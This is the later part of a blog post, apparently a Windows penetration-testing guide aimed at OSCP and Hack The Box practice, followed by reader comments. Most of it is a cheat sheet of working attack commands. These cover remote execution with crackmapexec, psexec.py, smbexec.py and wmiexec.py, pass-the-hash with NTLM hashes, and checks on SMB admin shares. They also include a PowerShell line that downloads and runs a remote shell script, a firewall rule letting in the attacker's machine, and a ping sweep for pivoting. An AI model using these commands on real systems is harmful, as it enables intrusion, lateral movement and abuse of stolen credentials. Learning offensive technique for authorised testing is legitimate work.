//Command Execution python crackmapexec.py IP/24 -d domain -u username -p password -x whoami 1 2 3 4
python crackmapexec.py IP/24 -d domain -u username -p password
//Command Execution python crackmapexec.py IP/24 -d domain -u username -p password -x whoami
winexe/pth-winexe
This script is available in default installation of Kali. Replace the IP, domain, username and password with the appropriate value. //If we have the username and password winexe -U domain/username%password //IP cmd.exe
//If we have NTLM hash pth-winexe -U domain/administratror%NTLM_hash //IP cmd.exe
//If we have both LM and NTLM hashes pth-winexe -U domain/administratror%LM_hash:NTLM_hash //IP cmd.exe 1 2 3 4 5 6 7 8
//If we have the username and password winexe -U domain/username%password //IP cmd.exe
//If we have NTLM hash pth-winexe -U domain/administratror%NTLM_hash //IP cmd.exe
//If we have both LM and NTLM hashes pth-winexe -U domain/administratror%LM_hash:NTLM_hash //IP cmd.exe
psexec.py
Download the script from here. Replace the IP, domain, username and password with the appropriate value. python psexec.py DOMAIN/username:password@IP
python psexec.py DOMAIN/username@IP cmd.exe 1 2 3
python psexec.py DOMAIN/username:password@IP
python psexec.py DOMAIN/username@IP cmd.exe
smbexec.py
Download the script from here. Replace the IP, domain, username and password with the appropriate value. python smbexec.py DOMAIN/username:password@IP 1
python smbexec.py DOMAIN/username:password@IP
wmiexec.py
Download the script from here. Replace the IP, domain, username and password with the appropriate value. python wmiexec.py DOMAIN/username:password@IP 1
python wmiexec.py DOMAIN/username:password@IP
smbclient
Download the script from here. Replace the IP, domain, username and password with the appropriate value. python crackmapexec.py 10.10.10.10/24 -d domain -u username -p password 1
python crackmapexec.py 10.10.10.10/24 -d domain -u username -p password
Working with SMB
Connect to SMB to test the credentials net use \DOMAIN /user:DOMAIN\UserName Password 1
net use \DOMAIN /user:DOMAIN\UserName Password
Check if we have administrator access admin shares e.g. “C$”, or “ADMIN$” dir \DOMAIN\c$ 1
dir \DOMAIN\c$
Check for the mapped drives net use 1
net use
Terminate all the sessions net use /delete * 1
net use /delete *
Mount the admin share once we have admin credentials net use z: \localhost\c$ /user:administrator password 1
net use z: \localhost\c$ /user:administrator password
Using the credentials
There is no “su” in windows so we cannot switch between different users if we have the credentials. We can use powershell to use the credentials to execute the commands or get the reverse shell as the different user // Command execution $user='administrator'; $pw='password'; $secpw= ConvertTo-SecureString $pw -AsPlainText -Force; $cred=New-Object System.Management.Automation.PSCredential $user, $secpw; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {whoami;cd;}
//Reverse shell $secPass = ConvertTo-SecureString 'P@55word' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('administrator', $secPass) Start-Process -FilePath "powershell" -argumentList "IEX(New-Object Net.WebClient).downloadString('http://IP/shell')" -Credential $cred 1 2 3 4 5 6 7
// Command execution $user='administrator'; $pw='password'; $secpw= ConvertTo-SecureString $pw -AsPlainText -Force; $cred=New-Object System.Management.Automation.PSCredential $user, $secpw; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {whoami;cd;}
//Reverse shell $secPass = ConvertTo-SecureString 'P@55word' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('administrator', $secPass) Start-Process -FilePath "powershell" -argumentList "IEX(New-Object Net.WebClient).downloadString('http://IP/shell')" -Credential $cred
Location of temp folder
C:\Users%username%\AppData\Local\Temp\ or %temp%
Meterpreter session getting terminated?
When a service starts in Windows OS, it must communicate with the Service Control Manager (SCM). If the service is not communicating, SCM terminates the process. Migrate to another process before the SCM terminates our payload
Windows Management Instrumentation (WMI)
WMI is the infrastructure for management data and operations on Windows-based operating systems. It is somewhat similar to SNMP.
Extract zip using powershell Add-Type -Assembly 'system.io.compression.filesystem':[io.compression.zipfile]::ExtractToDirectory('C:\location\of\zip', 'C:\destination') 1
Add-Type -Assembly 'system.io.compression.filesystem':[io.compression.zipfile]::ExtractToDirectory('C:\location\of\zip', 'C:\destination')
Create a new firewall rule $user='administrator'; $pw='password'; $secpw= ConvertTo-SecureString $pw -AsPlainText -Force; $cred=New-Object System.Management.Automation.PSCredential $user, $secpw; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {New-NetFirewallRule -DisplayName roguesecurity -RemoteAddress kaliIP -Direction inbound -Action allow} 1
$user='administrator'; $pw='password'; $secpw= ConvertTo-SecureString $pw -AsPlainText -Force; $cred=New-Object System.Management.Automation.PSCredential $user, $secpw; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {New-NetFirewallRule -DisplayName roguesecurity -RemoteAddress kaliIP -Direction inbound -Action allow}
Testing for live host after getting the shell for pivoting @echo off set /a n=0 :repeat set /a n+=1 ping -n 1 -w 500 10.10.10.%n% | FIND /i "Reply">>ipaddresses.txt if %n% lss 254 goto repeat type ipaddresses.txt 1 2 3 4 5 6 7
@echo off set /a n=0 :repeat set /a n+=1 ping -n 1 -w 500 10.10.10.%n% | FIND /i "Reply">>ipaddresses.txt if %n% lss 254 goto repeat type ipaddresses.txt
LFI list for windows
https://github.com/infosec-au/fuzzdb/blob/master/attack-payloads/lfi/common-windows-files.txt
Extracting hashes fro ntds.dit file
https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/
Anti Virus evasion
https://pentest.blog/art-of-anti-detection-1-introduction-to-av-detection-techniques/ https://pentest.blog/art-of-anti-detection-2-pe-backdoor-manufacturing/ https://www.toshellandback.com/2015/09/30/anti-virus/
In this blog I tried to touch various areas of windows penetration testing. I hope this article was informative. Share this if you found it useful. Subscribe to the mailing list to get updated with my latest post. Feel free to post your comments and feedback.
Happy Learning 🙂 General hacking, oscp, penetration testing, privilege escalation, security, windows roguesecurity The author is a security enthusiast with interest in web application security, cloud-native application development and Kubernetes. Post navigation Road to Cisco CCNA Cyber Ops Certification Abusing Nashorn for Remote Code Execution 5 Thoughts on “A guide for windows penetration testing”
Diego Romero
January 9, 2019 at 12:46 pm
Great job..! Thnaks a lot Piyush.
Reply
Ciph3r00t
June 23, 2019 at 8:07 pm
Awesome content! Great job (Y)
Reply
BARTEK
October 19, 2019 at 5:08 am
In your article you have covered all the topics i recently used to own Windows machines on Htb. If i would found your site before i would Save a lot of time. Thank you for Windows pentesting guide. You are great
Reply
Piyush Saurabh
October 23, 2019 at 10:17 pm
Thanks Bartek. I am glad that you liked it.
Reply
mete
August 25, 2020 at 4:44 am
This is amazing! thank a lot!
Reply
Leave a Reply
Your email address will not be published.
Comment
Name
Website
This site uses Akismet to reduce spam. Learn how your comment data is processed. Search for: Recent Posts
Methodology for Secure Code Review
Attacking and Defending Kubernetes Cluster
Docker 101 for busy pentesters
Docker commands cheatsheet
Abusing Nashorn for Remote Code Execution
Archives
February 2021
March 2020
February 2020
July 2019
December 2018
April 2018
January 2018
December 2017
November 2017
October 2017
July 2017
May 2017
Categories
Attacks
Buffer Overflow
containers
CTF
General
kubernetes
Pentest
Reverse Engineering
Uncategorized
Subscribe
Subscribe to the mailing list
Copyright © 2022 Rogue Security Theme: Flash by ThemeGrill. Proudly powered by WordPress